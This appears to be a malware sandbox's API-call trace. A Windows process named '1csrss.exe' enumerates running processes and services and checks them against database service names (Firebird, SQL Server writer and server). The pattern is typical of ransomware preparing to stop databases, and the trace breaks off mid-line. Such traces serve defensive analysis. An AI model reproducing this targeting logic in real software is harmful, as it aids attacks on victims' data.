[0273.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0273.007] lstrlenW (lpString="ShellHWDetection") returned 16 [0273.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0273.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0273.007] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0273.007] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0273.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0273.007] lstrlenW (lpString="Spooler") returned 7 [0273.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0273.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0273.007] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0273.007] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0273.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0273.007] lstrlenW (lpString="SSDPSRV") returned 7 [0273.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0273.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0273.007] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0273.008] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0273.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0273.008] lstrlenW (lpString="StateRepository") returned 15 [0273.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0273.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0273.008] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0273.008] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0273.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0273.008] lstrlenW (lpString="SysMain") returned 7 [0273.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0273.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0273.008] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0273.008] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0273.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0273.008] lstrlenW (lpString="SystemEventsBroker") returned 18 [0273.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0273.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0273.008] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0273.008] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0273.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0273.008] lstrlenW (lpString="Themes") returned 6 [0273.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0273.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0273.008] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0273.008] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0273.008] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7c57a0 | out: hHeap=0x6e0000) returned 1 [0273.008] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x338 [0273.078] Process32FirstW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0273.078] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0273.079] lstrlenW (lpString="System") returned 6 [0273.079] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0273.080] lstrlenW (lpString="smss.exe") returned 8 [0273.080] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0273.081] lstrlenW (lpString="csrss.exe") returned 9 [0273.081] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0273.081] lstrlenW (lpString="wininit.exe") returned 11 [0273.081] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0273.082] lstrlenW (lpString="csrss.exe") returned 9 [0273.082] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0273.082] lstrlenW (lpString="winlogon.exe") returned 12 [0273.083] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0273.083] lstrlenW (lpString="services.exe") returned 12 [0273.083] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0273.084] lstrlenW (lpString="lsass.exe") returned 9 [0273.084] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0273.084] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0273.084] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0273.085] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0273.085] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.086] lstrlenW (lpString="svchost.exe") returned 11 [0273.086] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.087] lstrlenW (lpString="svchost.exe") returned 11 [0273.087] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0273.088] lstrlenW (lpString="dwm.exe") returned 7 [0273.088] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.091] lstrlenW (lpString="svchost.exe") returned 11 [0273.092] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.093] lstrlenW (lpString="svchost.exe") returned 11 [0273.093] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.093] lstrlenW (lpString="svchost.exe") returned 11 [0273.093] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.094] lstrlenW (lpString="svchost.exe") returned 11 [0273.094] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.095] lstrlenW (lpString="svchost.exe") returned 11 [0273.095] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.095] lstrlenW (lpString="svchost.exe") returned 11 [0273.095] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.096] lstrlenW (lpString="svchost.exe") returned 11 [0273.096] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.097] lstrlenW (lpString="svchost.exe") returned 11 [0273.097] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.097] lstrlenW (lpString="svchost.exe") returned 11 [0273.097] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.098] lstrlenW (lpString="svchost.exe") returned 11 [0273.098] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0273.099] lstrlenW (lpString="spoolsv.exe") returned 11 [0273.099] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0273.100] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0273.100] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0273.101] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0273.101] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0273.102] lstrlenW (lpString="Memory Compression") returned 18 [0273.102] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.103] lstrlenW (lpString="svchost.exe") returned 11 [0273.103] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0273.103] lstrlenW (lpString="audiodg.exe") returned 11 [0273.103] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0273.104] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0273.104] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0273.105] lstrlenW (lpString="sihost.exe") returned 10 [0273.105] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.106] lstrlenW (lpString="svchost.exe") returned 11 [0273.106] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0273.107] lstrlenW (lpString="taskhostw.exe") returned 13 [0273.107] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0273.107] lstrlenW (lpString="msoia.exe") returned 9 [0273.107] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0273.108] lstrlenW (lpString="explorer.exe") returned 12 [0273.108] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0273.109] lstrlenW (lpString="SearchUI.exe") returned 12 [0273.109] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0273.109] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0273.109] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0273.110] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0273.110] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0273.110] lstrlenW (lpString="1csrss.exe") returned 10 [0273.110] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.112] lstrlenW (lpString="svchost.exe") returned 11 [0273.112] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd88, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0273.112] lstrlenW (lpString="cmd.exe") returned 7 [0273.112] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0273.113] lstrlenW (lpString="conhost.exe") returned 11 [0273.113] Process32NextW (in: hSnapshot=0x338, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0273.113] CloseHandle (hObject=0x338) returned 1 [0273.113] Sleep (dwMilliseconds=0x1f4) [0273.620] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x71eb10 [0273.621] EnumServicesStatusExW (in: hSCManager=0x71eb10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0273.621] GetLastError () returned 0xea [0273.621] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1ca4) returned 0x45cc008 [0273.621] EnumServicesStatusExW (in: hSCManager=0x71eb10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45cc008, cbBufSize=0x1ca4, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45cc008, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0273.622] CloseServiceHandle (hSCObject=0x71eb10) returned 1 [0273.622] lstrlenW (lpString="AppXSvc") returned 7 [0273.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0273.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0273.622] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0273.623] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0273.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0273.623] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0273.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0273.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0273.623] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0273.623] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0273.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0273.623] lstrlenW (lpString="Audiosrv") returned 8 [0273.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0273.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0273.623] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0273.623] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0273.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0273.623] lstrlenW (lpString="BFE") returned 3 [0273.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0273.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0273.623] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0273.623] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0273.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0273.623] lstrlenW (lpString="BITS") returned 4 [0273.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0273.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0273.623] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0273.623] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0273.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0273.623] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0273.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0273.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0273.624] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0273.624] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0273.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0273.624] lstrlenW (lpString="CDPSvc") returned 6 [0273.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0273.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0273.624] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0273.624] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0273.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0273.624] lstrlenW (lpString="ClickToRunSvc") returned 13 [0273.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0273.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0273.624] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0273.624] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0273.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0273.624] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0273.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0273.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0273.624] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0273.624] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0273.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0273.624] lstrlenW (lpString="CryptSvc") returned 8 [0273.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0273.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0273.624] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0273.624] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0273.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0273.624] lstrlenW (lpString="DcomLaunch") returned 10 [0273.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0273.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0273.624] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0273.624] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0273.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0273.625] lstrlenW (lpString="DeviceAssociationService") returned 24 [0273.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 